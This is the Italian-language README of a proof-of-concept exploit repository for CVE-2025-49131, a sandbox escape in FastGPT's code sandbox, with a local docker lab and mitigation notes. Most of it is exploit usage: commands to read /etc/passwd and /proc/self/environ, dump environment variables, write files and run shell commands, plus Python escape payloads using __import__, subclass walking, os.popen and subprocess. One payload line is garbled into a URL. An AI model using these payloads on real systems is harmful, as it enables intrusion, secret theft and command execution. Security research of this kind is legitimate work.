CVE-2025-49131 - POC di Evasione della Sandbox FastGPT

 ███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
 ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
 █████╗  ███████║███████╗   ██║   ██║  ███╗██████╔╝   ██║   
 ██╔══╝  ██╔══██║╚════██║   ██║   ██║   ██║██╔═══╝    ██║   
 ██║     ██║  ██║███████║   ██║   ╚██████╔╝██║        ██║   
 ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝        ╚═╝   
                                                            
 ███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
 ██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
 ███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝ 
 ╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗ 
 ███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
 ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝
                                                            
 ███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗           
 ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝           
 █████╗  ███████╗██║     ███████║██████╔╝█████╗             
 ██╔══╝  ╚════██║██║     ██╔══██║██╔═══╝ ██╔══╝             
 ███████╗███████║╚██████╗██║  ██║██║     ███████╗           
 ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚══════╝           
                                                            
        ╔═══════════════════════════════════════╗
        ║     CVE-2025-49131 | CVSS 6.3        ║
        ║   FastGPT Sandbox Container Escape   ║
        ║      Affected: < v4.9.11             ║
        ╚═══════════════════════════════════════╝

🎯 Panoramica della Vulnerabilità

⚠️ Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi.

Testa solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta
Segui le pratiche di divulgazione responsabile
Rispetta tutte le leggi e normative applicabili

📖 Descrizione

CVE-2025-49131 è una vulnerabilità di evasione della sandbox nel contenitore fastgpt-sandbox di FastGPT. La vulnerabilità esiste a causa di:

Meccanismi di isolamento insufficienti - La sandbox non limita adeguatamente i builtins di Python
Chiamate di sistema eccessivamente permissive - Le syscall pericolose non vengono bloccate
Restrizioni di esecuzione del codice inadeguate - Le restrizioni sulle importazioni possono essere aggirate

Impatto

Uno sfruttamento riuscito consente a un attaccante di:

✅ Leggere file arbitrari - Accedere a /etc/passwd, file di configurazione, segreti
✅ Scrivere file arbitrari - Modificare file di sistema, iniettare codice dannoso
✅ Aggirare le restrizioni sulle importazioni Python - Importare i moduli os, subprocess
✅ Potenziale RCE - Eseguire comandi di sistema tramite moduli importati

🚀 Avvio Rapido

# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# Install dependencies
pip install -r requirements.txt

# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect

# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd

# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"

🔧 Configurazione dell'Ambiente Vulnerabile

# Start vulnerable and patched containers
docker-compose up -d

# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002

💻 Utilizzo

Modalità di Rilevamento (Non distruttiva)

python poc.py --target http://localhost:3001 --detect -v

Lettura di File Arbitrari

python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

Scrittura di File

python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

Bypass delle Importazioni

python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

Variabili d'Ambiente

python poc.py --target http://localhost:3001 --env

Esecuzione Remota di Codice

python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

Opzioni Complete

python poc.py --help

📁 Struttura del Progetto

cve-2025-49131-poc/
├── poc.py                # Main exploit script
├── payloads.py           # Payload generator library
├── docker-compose.yml    # Test environment
├── requirements.txt      # Python dependencies
├── README.md             # This file
└── tests/
    └── test_exploit.py   # Automated tests

🔬 Dettagli Tecnici

Causa Radice della Vulnerabilità

La sandbox di FastGPT è progettata per eseguire codice inviato dall'utente in un ambiente isolato. Tuttavia, i meccanismi di isolamento sono insufficienti:

Accesso ai __builtins__ di Python - La sandbox non limita adeguatamente l'accesso a funzioni integrate come open(), __import__(), ecc.
Filtraggio delle syscall - L'elenco delle syscall consentite include chiamate pericolose che consentono l'accesso al file system
Bypass delle restrizioni sulle importazioni - Esistono molteplici tecniche per aggirare le restrizioni sull'importazione dei moduli

Flusso di Sfruttamento

┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using:       │
│    - __builtins__ manipulation              │
│    - Subclass walking                       │
│    - Import bypass techniques               │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to:                          │
│    - File system (read/write)               │
│    - os/subprocess modules                  │
│    - Environment variables                  │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. Impact:                                  │
│    - Data exfiltration                      │
│    - Code injection                         │
│    - Remote command execution               │
└─────────────────────────────────────────────┘

Payload di Esempio

Lettura File:

open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

Bypass delle Importazioni:

__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)

RCE:

__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)

🛡️ Rilevamento e Mitigazione

Rilevamento

Cerca attività sospette nei log della sandbox:

Tentativi di accesso a /etc/passwd, /etc/shadow
Chiamate a __builtins__, __import__
Utilizzo del modulo subprocess o os
Operazioni di lettura/scrittura di file insolite

Mitigazione

Aggiorna FastGPT alla versione 4.9.11 o successiva
Isolamento di rete - Limita l'accesso di rete del contenitore sandbox
Limiti delle risorse - Applica limiti di CPU/memoria ai contenitori
Monitoraggio - Implementa logging e avvisi per le attività della sandbox

📚 Riferimenti

⏱️ Cronologia

Data	Evento
2025-??-??	Vulnerabilità scoperta
2025-??-??	Fornitore notificato
2025-06-??	Patch rilasciata (v4.9.11)
2025-06-09	Divulgazione pubblica

📄 Licenza

Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Usalo in modo responsabile.

Creato per scopi di ricerca sulla sicurezza. Ottieni sempre la dovuta autorizzazione prima di testare.

ID CVE	CVE-2025-49131
Punteggio CVSS	6.3 (Medio)
Vettore CVSS	AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Tipo di vulnerabilità	Evasione della Sandbox
Software interessato	FastGPT (contenitore fastgpt-sandbox)
Versioni interessate	< 4.9.11
Versione con patch	4.9.11+
Data di divulgazione	9 giugno 2025

cve-2025-49131-poc

Più Popolari